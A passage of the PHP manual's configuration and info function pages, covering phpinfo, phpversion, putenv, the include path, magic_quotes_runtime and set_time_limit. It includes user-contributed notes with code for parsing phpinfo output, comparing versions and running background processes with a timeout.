    'http://www.w3.org/1999/xhtml',
    'html',
    $dtd
);
$doc->encoding = 'utf-8';

$info_doc = new DOMDocument ('1.0', 'utf-8');
/* Parse phpinfo's output
 * operator @ used to avoid messages about undefined entities
 * or use loadHTML instead
 */
@$info_doc->loadXML ($info);

$doc->documentElement->appendChild ( // Adding HEAD element to HTML
    $doc->importNode (
        $info_doc->getElementsByTagName ('head')->item (0),
        true                         // With all the subtree
    )
);
$doc->documentElement->appendChild ( // Adding BODY element to HTML
    $doc->importNode (
        $info_doc->getElementsByTagName ('body')->item (0),
        true                         // With all the subtree
    )
);

// Now you get a clean output and you are able to validate...
/*
echo ($doc->saveXML ());
//      OR
echo ($doc->saveHTML ());
 */

// By that way it's easy to add some style declaration :
$style = $doc->getElementsByTagName ('style')->item (0);
$style->appendChild (
    $doc->createTextNode (
        '/* SOME NEW CSS RULES TO ADD TO THE FUNCTION OUTPUT */'
    )
);

// to add some more informations to display :
$body = $doc->getElementsByTagName ('body')->item (0);
$element = $doc->createElement ('p');
$element->appendChild (
    $doc->createTextNode (
        'SOME NEW CONTENT TO DISPLAY'
    )
);
$body->appendChild ($element);

// to add a new header :
$head = $doc->getElementsByTagName ('head')->item (0);
$meta = $doc->createElement ('meta');
$meta->setAttribute ('name', 'author');
$meta->setAttribute ('content', 'arimbourg at ariworld dot eu');
$head->appendChild ($meta);

// As you wish, take the rest of the output and add it for debugging
$out = ob_get_clean ();

$pre = $doc->createElement ('div'); // or pre
$pre->setAttribute ('style', 'white-space: pre;'); // for a div element, useless with pre
$pre->appendChild ($doc->createTextNode ($out));
$body->appendChild ($pre);

$doc->formatOutput = true; // For a nice indentation
$doc->saveXML ();

?>

All that could be done with only RegExp but I prefer the use of DOM for manipulating documents
webmaster at askapache dot com 06-Dec-2008 05:48
I wanted a simple *function* to convert the output of phpinfo into an array.  Here's what I came up with thanks to alot of the previous authors tips, and the source file: php-5.2.6/ext/standard/info.c

Call this function like phpinfo_array() prints the array, phpinfo_array(1) returns the array for your own processing.

== Sample Output ==
[PHP Configuration] => Array
 (
  [PHP Version] => 5.2.6
  [PHP Egg] => PHPE9568F34-D428-11d2-A769-00AA001ACF42
  [System] => Linux askapache 2.6.22.19-grsec3
  [Build Date] => Nov 11 2008 13:09:07
  [Configure Command] =>  ./configure --prefix=/home/grsec/bin/php
  [Server API] => FastCGI

  [IPv6 Support] => enabled
 [Zend Egg] => PHPE9568F35-D428-11d2-A769-00AA001ACF42
  [PHP Credits Egg] => PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
 )

[mbstring] => Array
 (
  [mbstring.http_input] => pass
  [mbstring.internal_encoding] => Array
    (
     [0] => ISO-8859-1
     [1] => no value
    )

  [mbstring.language] => neutral
   )

[mcrypt] => Array
 (
  [Version] => 3.5.7
  [Api No] => 20031217
 )

<?php
function phpinfo_array($return=false){
 /* Andale!  Andale!  Yee-Hah! */
 ob_start();
 phpinfo(-1);

 $pi = preg_replace(
 array('#^.*<body>(.*)</body>.*$#ms', '#<h2>PHP License</h2>.*$#ms',
 '#<h1>Configuration</h1>#',  "#\r?\n#", "#</(h1|h2|h3|tr)>#", '# +<#',
 "#[ \t]+#", '#&nbsp;#', '#  +#', '# class=".*?"#', '%&#039;%',
  '#<tr>(?:.*?)" src="(?:.*?)=(.*?)" alt="PHP Logo" /></a>'
  .'<h1>PHP Version (.*?)</h1>(?:\n+?)</td></tr>#',
  '#<h1><a href="(?:.*?)\?=(.*?)">PHP Credits</a></h1>#',
  '#<tr>(?:.*?)" src="(?:.*?)=(.*?)"(?:.*?)Zend Engine (.*?),(?:.*?)</tr>#',
  "# +#", '#<tr>#', '#</tr>#'),
 array('$1', '', '', '', '</$1>' . "\n", '<', ' ', ' ', ' ', '', ' ',
  '<h2>PHP Configuration</h2>'."\n".'<tr><td>PHP Version</td><td>$2</td></tr>'.
  "\n".'<tr><td>PHP Egg</td><td>$1</td></tr>',
  '<tr><td>PHP Credits Egg</td><td>$1</td></tr>',
  '<tr><td>Zend Engine</td><td>$2</td></tr>' . "\n" .
  '<tr><td>Zend Egg</td><td>$1</td></tr>', ' ', '%S%', '%E%'),
 ob_get_clean());

 $sections = explode('<h2>', strip_tags($pi, '<h2><th><td>'));
 unset($sections[0]);

 $pi = array();
 foreach($sections as $section){
   $n = substr($section, 0, strpos($section, '</h2>'));
   preg_match_all(
   '#%S%(?:<td>(.*?)</td>)?(?:<td>(.*?)</td>)?(?:<td>(.*?)</td>)?%E%#',
     $section, $askapache, PREG_SET_ORDER);
   foreach($askapache as $m)
       $pi[$n][$m[1]]=(!isset($m[3])||$m[2]==$m[3])?$m[2]:array_slice($m,2);
 }

 return ($return === false) ? print_r($pi) : $pi;
}

?>
Phelon Dudras 28-Nov-2008 10:26
A simple method to style your own phpinfo() output.

<style type="text/css">
#phpinfo {}
#phpinfo pre {}
#phpinfo a:link {}
#phpinfo a:hover {}
#phpinfo table {}
#phpinfo .center {}
#phpinfo .center table {}
#phpinfo .center th {}
#phpinfo td, th {}
#phpinfo h1 {}
#phpinfo h2 {}
#phpinfo .p {}
#phpinfo .e {}
#phpinfo .h {}
#phpinfo .v {}
#phpinfo .vr {}
#phpinfo img {}
#phpinfo hr {}
</style>

<div id="phpinfo">
<?php

ob_start () ;
phpinfo () ;
$pinfo = ob_get_contents () ;
ob_end_clean () ;

// the name attribute "module_Zend Optimizer" of an anker-tag is not xhtml valide, so replace it with "module_Zend_Optimizer"
echo ( str_replace ( "module_Zend Optimizer", "module_Zend_Optimizer", preg_replace ( '%^.*<body>(.*)</body>.*$%ms', '$1', $pinfo ) ) ) ;

?>
</div>
jon at sitewizard dot ca 06-Jul-2008 04:54
To extract all of the data from phpinfo into a nested array:
<?php
ob_start();
phpinfo();
$phpinfo = array('phpinfo' => array());
if(preg_match_all('#(?:<h2>(?:<a name=".*?">)?(.*?)(?:</a>)?</h2>)|(?:<tr(?: class=".*?")?><t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>)?)?</tr>)#s', ob_get_clean(), $matches, PREG_SET_ORDER))
    foreach($matches as $match)
        if(strlen($match[1]))
            $phpinfo[$match[1]] = array();
        elseif(isset($match[3]))
            $phpinfo[end(array_keys($phpinfo))][$match[2]] = isset($match[4]) ? array($match[3], $match[4]) : $match[3];
        else
            $phpinfo[end(array_keys($phpinfo))][] = $match[2];
?>

Some examples of using individual values from the array:

<?php
    echo "System: {$phpinfo['phpinfo']['System']}<br />\n";
    echo "Safe Mode: {$phpinfo['PHP Core']['safe_mode'][0]}<br />\n";
    echo "License: {$phpinfo['PHP License'][0]}<br />\n";
?>

To display everything:

<?php
    foreach($phpinfo as $name => $section) {
        echo "<h3>$name</h3>\n<table>\n";
        foreach($section as $key => $val) {
            if(is_array($val))
                echo "<tr><td>$key</td><td>$val[0]</td><td>$val[1]</td></tr>\n";
            elseif(is_string($key))
                echo "<tr><td>$key</td><td>$val</td></tr>\n";
            else
                echo "<tr><td>$val</td></tr>\n";
        }
        echo "</table>\n";
    }
?>

Note: In order to properly retrieve all of the data, the regular expression matches table headers as well as table data, resulting in 'Local Value' and 'Global Value' showing up as 'Directive' entries.
yurkins 23-Jun-2008 04:24
big thanx 2 Mardy dot Hutchinson at gmail dot com
very good!

some fixes to correct result displaying:
1. we need to trim $matches [1], 'cause there can be empty lines;
2. not bad to remove <body> tag 'cause styles for it not apply correctly...
3. ...and change styles a little (remove "body" selector)

we need to change two lines:

<?php
preg_match ('%<style type="text/css">(.*?)</style>.*?(<body>.*</body>)%s', ob_get_clean(), $matches);
?>
to
<?php
preg_match ('%<style type="text/css">(.*?)</style>.*?<body>(.*?)</body>%s', ob_get_clean(), $matches);
?>

and

<?php
preg_split( '/\n/', $matches[1] )
?>
to
<?php
preg_split( '/\n/', trim(preg_replace( "/\nbody/", "\n", $matches[1])) )
?>

That's all! Now we have a really flexible addition to phpinfo();
Mardy dot Hutchinson at gmail dot com 10-Sep-2007 12:27
Embedding phpinfo within your page, that already has style information:

The phpinfo output is wrapped within a <div class='phpinfodisplay'>, and we privatize all the style selectors that phpinfo() creates.

Yes, we cheat on preparing the selector list.

<?php
ob_start();
phpinfo();

preg_match ('%<style type="text/css">(.*?)</style>.*?(<body>.*</body>)%s', ob_get_clean(), $matches);

# $matches [1]; # Style information
# $matches [2]; # Body information

echo "<div class='phpinfodisplay'><style type='text/css'>\n",
    join( "\n",
        array_map(
            create_function(
                '$i',
                'return ".phpinfodisplay " . preg_replace( "/,/", ",.phpinfodisplay ", $i );'
                ),
            preg_split( '/\n/', $matches[1] )
            )
        ),
    "</style>\n",
    $matches[2],
    "\n</div>\n";
?>

Perhaps one day the phpinfo() function will be modified to output such a safe string on its own.
Andrew dot Boag at catalyst dot net dot nz 09-Sep-2007 09:47
One note on the above functions for cleaning up the phpinfo() HTML and throwing it into an array data structure. In order to catch all of the info tidbits the preg_match_all has to be tweaked to deal with 2 and 3 column tables.

I have changed the preg_match_all() here so that the last <td></td> is optional

<?php
function parsePHPConfig() {
    ob_start();
    phpinfo(-1);
    $s = ob_get_contents();
    ob_end_clean();
    $a = $mtc = array();
    if (preg_match_all('/<tr><td class="e">(.*?)<\/td><td class="v">(.*?)<\/td>(:?<td class="v">(.*?)<\/td>)?<\/tr>/',$s,$mtc,PREG_SET_ORDER))
        foreach($mtc as $v){
            if($v[2] == '<i>no value</i>') continue;
            $a[$v[1]] = $v[2];
        }
    }
    return $a;
}
?>
jb2386 at hotmail dot com 11-Oct-2006 06:29
This is a slight modification to the previous code by "code at adspeed dot com" that extracts the PHP modules as an array. I used it on PHP 4.1.2 and it failed as the <h2> tags also had an align="center". So this update changes the regex for those tags:

<?php

/* parse php modules from phpinfo */

function parsePHPModules() {
 ob_start();
 phpinfo(INFO_MODULES);
 $s = ob_get_contents();
 ob_end_clean();

 $s = strip_tags($s,'<h2><th><td>');
 $s = preg_replace('/<th[^>]*>([^<]+)<\/th>/',"<info>\\1</info>",$s);
 $s = preg_replace('/<td[^>]*>([^<]+)<\/td>/',"<info>\\1</info>",$s);
 $vTmp = preg_split('/(<h2[^>]*>[^<]+<\/h2>)/',$s,-1,PREG_SPLIT_DELIM_CAPTURE);
 $vModules = array();
 for ($i=1;$i<count($vTmp);$i++) {
  if (preg_match('/<h2[^>]*>([^<]+)<\/h2>/',$vTmp[$i],$vMat)) {
   $vName = trim($vMat[1]);
   $vTmp2 = explode("\n",$vTmp[$i+1]);
   foreach ($vTmp2 AS $vOne) {
   $vPat = '<info>([^<]+)<\/info>';
   $vPat3 = "/$vPat\s*$vPat\s*$vPat/";
   $vPat2 = "/$vPat\s*$vPat/";
   if (preg_match($vPat3,$vOne,$vMat)) { // 3cols
     $vModules[$vName][trim($vMat[1])] = array(trim($vMat[2]),trim($vMat[3]));
   } elseif (preg_match($vPat2,$vOne,$vMat)) { // 2cols
     $vModules[$vName][trim($vMat[1])] = trim($vMat[2]);
   }
   }
  }
 }
 return $vModules;
}
?>
code at adspeed dot com 10-Dec-2005 12:31
This function parses the phpinfo output to get details about a PHP module.

<?php
/** parse php modules from phpinfo */
function parsePHPModules() {
 ob_start();
 phpinfo(INFO_MODULES);
 $s = ob_get_contents();
 ob_end_clean();

 $s = strip_tags($s,'<h2><th><td>');
 $s = preg_replace('/<th[^>]*>([^<]+)<\/th>/',"<info>\\1</info>",$s);
 $s = preg_replace('/<td[^>]*>([^<]+)<\/td>/',"<info>\\1</info>",$s);
 $vTmp = preg_split('/(<h2>[^<]+<\/h2>)/',$s,-1,PREG_SPLIT_DELIM_CAPTURE);
 $vModules = array();
 for ($i=1;$i<count($vTmp);$i++) {
  if (preg_match('/<h2>([^<]+)<\/h2>/',$vTmp[$i],$vMat)) {
   $vName = trim($vMat[1]);
   $vTmp2 = explode("\n",$vTmp[$i+1]);
   foreach ($vTmp2 AS $vOne) {
    $vPat = '<info>([^<]+)<\/info>';
    $vPat3 = "/$vPat\s*$vPat\s*$vPat/";
    $vPat2 = "/$vPat\s*$vPat/";
    if (preg_match($vPat3,$vOne,$vMat)) { // 3cols
     $vModules[$vName][trim($vMat[1])] = array(trim($vMat[2]),trim($vMat[3]));
    } elseif (preg_match($vPat2,$vOne,$vMat)) { // 2cols
     $vModules[$vName][trim($vMat[1])] = trim($vMat[2]);
    }
   }
  }
 }
 return $vModules;
}
?>

Sample Output:
[gd] => Array
(
  [GD Support] => enabled
  [GD Version] => bundled (2.0.28 compatible)
  [FreeType Support] => enabled
  [FreeType Linkage] => with freetype
  [FreeType Version] => 2.1.9
  [T1Lib Support] => enabled
  [GIF Read Support] => enabled
  [GIF Create Support] => enabled
  [JPG Support] => enabled
  [PNG Support] => enabled
  [WBMP Support] => enabled
  [XBM Support] => enabled
)

[date] => Array (
  [date/time support] => enabled
  [Timezone Database Version] => 2005.14
  [Timezone Database] => internal
  [Default timezone] => America/Los_Angeles
  [Directive] => Array (
     [0] => Local Value
     [1] => Master Value
  )
  [date.timezone] => Array (
     [0] => no value
     [1] => no value
  )
 )

<?php
/** get a module setting */
function getModuleSetting($pModuleName,$pSetting) {
 $vModules = parsePHPModules();
 return $vModules[$pModuleName][$pSetting];
}
?>

Example: getModuleSetting('gd','GD Version'); returns "bundled (2.0.28 compatible)"
Helpful Harry 06-Oct-2005 05:38
check out this cool and fantastic colourful phpinfo()!

<?php

ob_start();
phpinfo();
$phpinfo = ob_get_contents();
ob_end_clean();

preg_match_all('/#[0-9a-fA-F]{6}/', $phpinfo, $rawmatches);
for ($i = 0; $i < count($rawmatches[0]); $i++)
   $matches[] = $rawmatches[0][$i];
$matches = array_unique($matches);

$hexvalue = '0123456789abcdef';

$j = 0;
foreach ($matches as $match)
{

   $r = '#';
   $searches[$j] = $match;
   for ($i = 0; $i < 6; $i++)
      $r .= substr($hexvalue, mt_rand(0, 15), 1);
   $replacements[$j++] = $r;
   unset($r);
}

for ($i = 0; $i < count($searches); $i++)
   $phpinfo = str_replace($searches, $replacements, $phpinfo);
echo $phpinfo;
?>


Gets the current PHP version

  • « phpinfo
  • putenv »
  • PHP Manual
  • PHP Options/Info Functions
  • Gets the current PHP version

phpversion

(PHP 4, PHP 5)

phpversion — Gets the current PHP version

Description

string phpversion ([ string $extension ] )

Returns a string containing the version of the currently running PHP parser or extension.

Parameters

extension

An optional extension name.

Return Values

If the optional extension parameter is specified, phpversion() returns the version of that extension, or FALSE if there is no version information associated or the extension isn't enabled.

Examples

Example #1 phpversion() example

<?php
// prints e.g. 'Current PHP version: 4.1.1'
echo 'Current PHP version: ' . phpversion();

// prints e.g. '2.0' or nothing if the extension isn't enabled
echo phpversion('tidy');
?>

Example #2 PHP_VERSION_ID example and usage

<?php
// PHP_VERSION_ID is available as of PHP 5.2.7, if our
// version is lower than that, then emulate it
if (!defined('PHP_VERSION_ID')) {
    $version = explode('.', PHP_VERSION);

    define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2]));
}

// PHP_VERSION_ID is defined as a number, where the higher the number
// is, the newer a PHP version is used. It's defined as used in the above
// expression:
//
// $version_id = $major_version * 10000 + $minor_version * 100 + $release_version;
//
// Now with PHP_VERSION_ID we can check for features this PHP version
// may have, this doesn't require to use version_compare() everytime
// you check if the current PHP version may not support a feature.
//
// For example, we may here define the PHP_VERSION_* constants thats
// not available in versions prior to 5.2.7

if (PHP_VERSION_ID < 50207) {
    define('PHP_MAJOR_VERSION',   $version[0]);
    define('PHP_MINOR_VERSION',   $version[1]);
    define('PHP_RELEASE_VERSION', $version[2]);

    // and so on, ...
}
?>

Notes

Note:

This information is also available in the predefined constant PHP_VERSION. More versioning information is available using the PHP_VERSION_* constants.

See Also

  • PHP_VERSION constants
  • version_compare() - Compares two "PHP-standardized" version number strings
  • phpinfo() - Outputs information about PHP's configuration
  • phpcredits() - Prints out the credits for PHP
  • php_logo_guid() - Gets the logo guid
  • zend_version() - Gets the version of the current Zend engine

User Contributed Notes

cHao 08-May-2013 05:45
If you're trying to check whether the version of PHP you're running on is sufficient, don't screw around with `strcasecmp` etc.  PHP already has a `version_compare` function, and it's specifically made to compare PHP-style version strings.

<?php
if (version_compare(phpversion(), '5.3.10', '<')) {
    // php version isn't high enough
}
?>
pavankumar at tutorvista dot com 29-Oct-2010 09:39
To know, what are the {php} extensions loaded & version of extensions :

<?php
foreach (get_loaded_extensions() as $i => $ext)
{
   echo $ext .' => '. phpversion($ext). '<br/>';
}
?>
bitworks at web dot de 26-Jun-2009 04:31
to realize if the actual version ist newer than '5.2.10'
simply use:

<?php
    if (strnatcmp(phpversion(),'5.2.10') >= 0)
    {
        # equal or newer
    }
    else
    {
        # not sufficiant
    }
?>


Sets the value of an environment variable

  • « phpversion
  • restore_include_path »
  • PHP Manual
  • PHP Options/Info Functions
  • Sets the value of an environment variable

putenv

(PHP 4, PHP 5)

putenv — Sets the value of an environment variable

Description

bool putenv ( string $setting )

Adds setting to the server environment. The environment variable will only exist for the duration of the current request. At the end of the request the environment is restored to its original state.

Setting certain environment variables may be a potential security breach. The safe_mode_allowed_env_vars directive contains a comma-delimited list of prefixes. In Safe Mode, the user may only alter environment variables whose names begin with the prefixes supplied by this directive. By default, users will only be able to set environment variables that begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty, PHP will let the user modify ANY environment variable!

The safe_mode_protected_env_vars directive contains a comma-delimited list of environment variables, that the end user won't be able to change using putenv(). These variables will be protected even if safe_mode_allowed_env_vars is set to allow to change them.

Parameters

setting

The setting, like "FOO=BAR"

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Setting an environment variable

<?php
putenv("UNIQID=$uniqid");
?>

Notes

Warning

The safe_mode_allowed_env_vars and safe_mode_protected_env_vars directives only take effect when safe_mode is enabled.

See Also

  • getenv() - Gets the value of an environment variable

User Contributed Notes

Anonymous Coder 28-Mar-2012 03:28
It's the putenv() type of environment variables that get passed to a child process executed via exec().

If you need to delete an existing environment variable so the child process does not see it, use:

putenv('FOOBAR');

That is, leave out both the "=" and a value.
php at keith tyler dot com 22-Jun-2010 02:52
putenv/getenv, $_ENV, and phpinfo(INFO_ENVIRONMENT) are three completely distinct environment stores. doing putenv("x=y") does not affect $_ENV; but also doing $_ENV["x"]="y" likewise does not affect getenv("x"). And neither affect what is returned in phpinfo().

Assuming the USER environment variable is defined as "dave" before running the following:

<?php
print "env is: ".$_ENV["USER"]."\n";
print "(doing: putenv fred)\n";
putenv("USER=fred");
print "env is: ".$_ENV["USER"]."\n";
print "getenv is: ".getenv("USER")."\n";
print "(doing: set _env barney)\n";
$_ENV["USER"]="barney";
print "getenv is: ".getenv("USER")."\n";
print "env is: ".$_ENV["USER"]."\n";
phpinfo(INFO_ENVIRONMENT);
?>

prints:

env is: dave
(doing: putenv fred)
env is: dave
getenv is: fred
(doing: set _env barney)
getenv is: fred
env is: barney
phpinfo()

Environment

Variable => Value
...
USER => dave
...
JM 17-Feb-2007 03:41
The other problem with the code from av01 at bugfix dot cc is that
the behaviour is as per the comments here, not there:
<?php
putenv('MYVAR='); // set MYVAR to an empty value.  It is in the environment
putenv('MYVAR'); // unset MYVAR.  It is removed from the environment
?>
Iavor 07-Feb-2005 11:06
Compare to apache_setenv() and apache_getenv().

I had a case setting an env var in VirtualHost which I tried to change with putenv() - but did not work.

apache_setenv() worked.
cap at capsi dot com 28-Mar-2003 07:18
I've been using putenv with PHP 4.3.1 and Apache 2.0.44, but it does not seem to restore variables correctly. I'm getting +0100 and -0800 entries all across my Apache logs. Manually adding a putenv in page footers to restore the original value seems to fix things, but I still wish I could set the time zone for a specific request only.

I'm not sure whether using putenv affects all threads within the process, that could be another problem.
david dot boyce at messagingdirect dot comnospam 14-Sep-2000 07:23
Environment variables are part of the underlying operating system's
way of doing things, and are used to pass information between a parent
process and its child, as well as to affect the way some internal
functions behave.  They should not be regarded as ordinary PHP
variables.

A primary purpose of setting environment variables in a PHP script is
so that they are available to processes invoked by that script using
e.g. the system() function, and it's unlikely that they would need to
be changed for other reasons.

For example, if a particular system command required a special value
of the environment variable LD_LIBRARY_PATH to execute successfully,
then the following code might be used on a *NIX system:

<?php
 $saved = getenv("LD_LIBRARY_PATH");        // save old value
 $newld = "/extra/library/dir:/another/path/to/lib";  // extra paths to add
 if ($saved) { $newld .= ":$saved"; }           // append old paths if any
 putenv("LD_LIBRARY_PATH=$newld");        // set new value
 system("mycommand -with args");        // do system command;
                        // mycommand is loaded using
                        // libs in the new path list
 putenv("LD_LIBRARY_PATH=$saved");        // restore old value
?>

It will usually be appropriate to restore the old value after use;
LD_LIBRARY_PATH is a particularly good example of a variable which it
is important to restore immediately, as it is used by internal
functions.

If php.ini configuration allows, the values of environment variables
are made available as PHP global variables on entry to a script, but
these global variables are merely copies and do not track the actual
environment variables once the script is entered.  Changing
$REMOTE_ADDR (or even $HTTP_ENV_VARS["REMOTE_ADDR"]) should not be
expected to affect the actual environment variable; this is why
putenv() is needed.

Finally, do not rely on environment variables maintaining the same
value from one script invocation to the next, especially if you have
used putenv().  The result depends on many factors, such as CGI vs
apache module, and the exact way in which the environment is
manipulated before entering the script.


Restores the value of the include_path configuration option

  • « putenv
  • set_include_path »
  • PHP Manual
  • PHP Options/Info Functions
  • Restores the value of the include_path configuration option

restore_include_path

(PHP 4 >= 4.3.0, PHP 5)

restore_include_path — Restores the value of the include_path configuration option

Description

void restore_include_path ( void )

Restores the include_path configuration option back to its original master value as set in php.ini

Return Values

No value is returned.

Examples

Example #1 restore_include_path() example

<?php

echo get_include_path();  // .:/usr/local/lib/php

set_include_path('/inc');

echo get_include_path();  // /inc

// Works as of PHP 4.3.0
restore_include_path();

// Works in all PHP versions
ini_restore('include_path');

echo get_include_path();  // .:/usr/local/lib/php

?>

See Also

  • ini_restore() - Restores the value of a configuration option
  • get_include_path() - Gets the current include_path configuration option
  • set_include_path() - Sets the include_path configuration option
  • include - include

User Contributed Notes

There are no user contributed notes for this page.


Sets the include_path configuration option

  • « restore_include_path
  • set_magic_quotes_runtime »
  • PHP Manual
  • PHP Options/Info Functions
  • Sets the include_path configuration option

set_include_path

(PHP 4 >= 4.3.0, PHP 5)

set_include_path — Sets the include_path configuration option

Description

string set_include_path ( string $new_include_path )

Sets the include_path configuration option for the duration of the script.

Parameters

new_include_path

The new value for the include_path

Return Values

Returns the old include_path on success or FALSE on failure.

Examples

Example #1 set_include_path() example

<?php
// Works as of PHP 4.3.0
set_include_path('/usr/lib/pear');

// Works in all PHP versions
ini_set('include_path', '/usr/lib/pear');
?>

Example #2 Adding to the include path

Making use of the PATH_SEPARATOR constant, it is possible to extend the include path regardless of the operating system.

In this example we add /usr/lib/pear to the end of the existing include_path.

<?php
$path = '/usr/lib/pear';
set_include_path(get_include_path() . PATH_SEPARATOR . $path);
?>

See Also

  • ini_set() - Sets the value of a configuration option
  • get_include_path() - Gets the current include_path configuration option
  • restore_include_path() - Restores the value of the include_path configuration option
  • include - include

User Contributed Notes

cloxy at cloxy dot com 28-Mar-2012 03:11
If you want to include files with their absolute path without changing the current include path, you can use the magic constant __DIR__ . For example:

<?php include(__DIR__.'/file.php'); ?>

It is available since PHP 5.3.
parks at vecinc dot com 27-Jul-2009 08:44
If you find that this function is failing for you, and you're not sure why, you may have set your php include path in your sites's conf file in Apache  (this may be true of .htaccess as well)

So to get it to work, comment out any "php_value include_path" type lines in your Apache conf file, and you should be able to set it now in your php code.
chris-r3i 06-Mar-2007 11:35
Can be useful to check the value of the constant PATH_SEPARATOR.

<?php
if ( ! defined( "PATH_SEPARATOR" ) ) {
  if ( strpos( $_ENV[ "OS" ], "Win" ) !== false )
    define( "PATH_SEPARATOR", ";" );
  else define( "PATH_SEPARATOR", ":" );
}
?>

For older versions of php, PATH_SEPARATOR is not defined.
If it is so, we must check what kind of OS is on the web-server and define PATH_SEPARATOR properly
koenig at electronova dot net 02-Oct-2006 06:24
You can also add several paths in one set_include_path separating them by ':'.
ex : set_include_path('/home/mysite/includes1:/home/mysite/includes2')
df a t dougfelton d o t c o m 25-Jan-2005 04:37
In order to use .htaccess files to set the include path, PHP must be installed as an Apache module. If PHP is compiled as a CGI binary, you can set the include path in a custom php.ini file (if, for example, you're being hosted somewhere and don't have access to the main php.ini file.  Note that custom php.ini files don't affect subdirectories in the way that .htaccess files do, so you'll need to put your custom php.ini file in any subdirectories as well.


Sets the current active configuration setting of magic_quotes_runtime

  • « set_include_path
  • set_time_limit »
  • PHP Manual
  • PHP Options/Info Functions
  • Sets the current active configuration setting of magic_quotes_runtime

set_magic_quotes_runtime

(PHP 4, PHP 5)

set_magic_quotes_runtime — Sets the current active configuration setting of magic_quotes_runtime

Description

bool set_magic_quotes_runtime ( bool $new_setting )

Set the current active configuration setting of magic_quotes_runtime.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Errors/Exceptions

Since PHP 5.3 this function has been deprecated and will raise an E_DEPRECATED warning upon execution. Since PHP 5.4 this function will also raise an E_CORE_ERROR on trying to enable magic quotes.

Parameters

new_setting

FALSE for off, TRUE for on.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 set_magic_quotes_runtime() example

<?php
// Create a temporary file pointer
$fp = tmpfile();

// Write some data to the pointer
fwrite($fp, '\'PHP\' is a Recursive acronym');

// Without magic_quotes_runtime
rewind($fp);
set_magic_quotes_runtime(false);

echo 'Without magic_quotes_runtime: ' . fread($fp, 64), PHP_EOL;

// With magic_quotes_runtime
rewind($fp);
set_magic_quotes_runtime(true);

echo 'With magic_quotes_runtime: ' . fread($fp, 64), PHP_EOL;

// Clean up
fclose($fp);
?>

The above example will output:

Without magic_quotes_runtime: 'PHP' is a Recursive acronym
With magic_quotes_runtime: \'PHP\' is a Recursive acronym

See Also

  • get_magic_quotes_gpc() - Gets the current configuration setting of magic_quotes_gpc
  • get_magic_quotes_runtime() - Gets the current active configuration setting of magic_quotes_runtime

User Contributed Notes

Anonymous 08-Oct-2013 06:39
A simple check and disabling of magic quotes whenever needed (e.g. if you deploy to multiple servers or you don't know the target server's PHP version).

<?php
if(version_compare(PHP_VERSION, '5.3.0', '<')){
    set_magic_quotes_runtime(0);
}
?>
serpent at paradise dot net dot nz 02-Aug-2012 11:56
Be aware that even using ini_set to set 'magic_quotes_runtime' will stop working in PHP 5.4.  See http://php.net/manual/en/info.configuration.php#ini.magic-quotes-runtime
gusb at NOSPAM dot mailinator dot com 10-Oct-2011 01:14
You should NEVER rely on magic quotes or addslashes for security in an SQL context. You should ALWAYS use proper escape functions, such as mysql_real_escape_string. Failure to do so may result in an SQL injection vulnerability.
Anonymous 18-Aug-2010 12:13
Since this function is depracted as of PHP 5.3, use ini_set('magic_quotes_runtime', 0); instead.
php at nospam-qualystem dot com 09-Jan-2003 02:49
get_magic_quotes runtime and set_magic_quotes_runtime are useful when you want to read some data in a binary file using fread() and some bytes in such file may be interpreted as \ (backslash), " (double quotes), ' (simple quote) or any "special" character that has a meaning for string processing.


Limits the maximum execution time

  • « set_magic_quotes_runtime
  • sys_get_temp_dir »
  • PHP Manual
  • PHP Options/Info Functions
  • Limits the maximum execution time

set_time_limit

(PHP 4, PHP 5)

set_time_limit — Limits the maximum execution time

Description

bool set_time_limit ( int $seconds )

Set the number of seconds a script is allowed to run. If this is reached, the script returns a fatal error. The default limit is 30 seconds or, if it exists, the max_execution_time value defined in the php.ini.

When called, set_time_limit() restarts the timeout counter from zero. In other words, if the timeout is the default 30 seconds, and 25 seconds into script execution a call such as set_time_limit(20) is made, the script will run for a total of 45 seconds before timing out.

Parameters

seconds

The maximum execution time, in seconds. If set to zero, no time limit is imposed.

Return Values

Returns TRUE on success, or FALSE on failure.

Notes

Warning

This function has no effect when PHP is running in safe mode. There is no workaround other than turning off safe mode or changing the time limit in the php.ini.

Note:

The set_time_limit() function and the configuration directive max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), stream operations, database queries, etc. is not included when determining the maximum time that the script has been running. This is not true on Windows where the measured time is real.

See Also

  • max_execution_time
  • max_input_time

User Contributed Notes

santosh dot anantharamaiah at decathlon dot in 11-Jun-2014 03:42
set_time_limit('600');

We have this piece of code but even with that we are facing error.

Can anyone tell us how to fix this?
kexianbin at diyism dot com 20-May-2014 06:41
Both set_time_limit(...) and  ini_set('max_execution_time',...); won't count the time cost of sleep,file_get_contents,shell_exec,mysql_query etc, so i build this function my_background_exec(), to run static method/function in background/detached process and time is out kill it:

my_exec.php:
<?php
function my_background_exec($function_name, $params, $str_requires, $timeout=600)
         {$map=array('"'=>'\"', '$'=>'\$', '`'=>'\`', '\\'=>'\\\\', '!'=>'\!');
          $str_requires=strtr($str_requires, $map);
          $path_run=dirname($_SERVER['SCRIPT_FILENAME']);
          $my_target_exec="/usr/bin/php -r \"chdir('{$path_run}');{$str_requires} \\\$params=json_decode(file_get_contents('php://stdin'),true);call_user_func_array('{$function_name}', \\\$params);\"";
          $my_target_exec=strtr(strtr($my_target_exec, $map), $map);
          $my_background_exec="(/usr/bin/php -r \"chdir('{$path_run}');{$str_requires} my_timeout_exec(\\\"{$my_target_exec}\\\", file_get_contents('php://stdin'), {$timeout});\" <&3 &) 3<&0";//php by default use "sh", and "sh" don't support "<&0"
          my_timeout_exec($my_background_exec, json_encode($params), 2);
         }

function my_timeout_exec($cmd, $stdin='', $timeout)
         {$start=time();
          $stdout='';
          $stderr='';
          //file_put_contents('debug.txt', time().':cmd:'.$cmd."\n", FILE_APPEND);
          //file_put_contents('debug.txt', time().':stdin:'.$stdin."\n", FILE_APPEND);

          $process=proc_open($cmd, [['pipe', 'r'], ['pipe', 'w'], ['pipe', 'w']], $pipes);
          if (!is_resource($process))
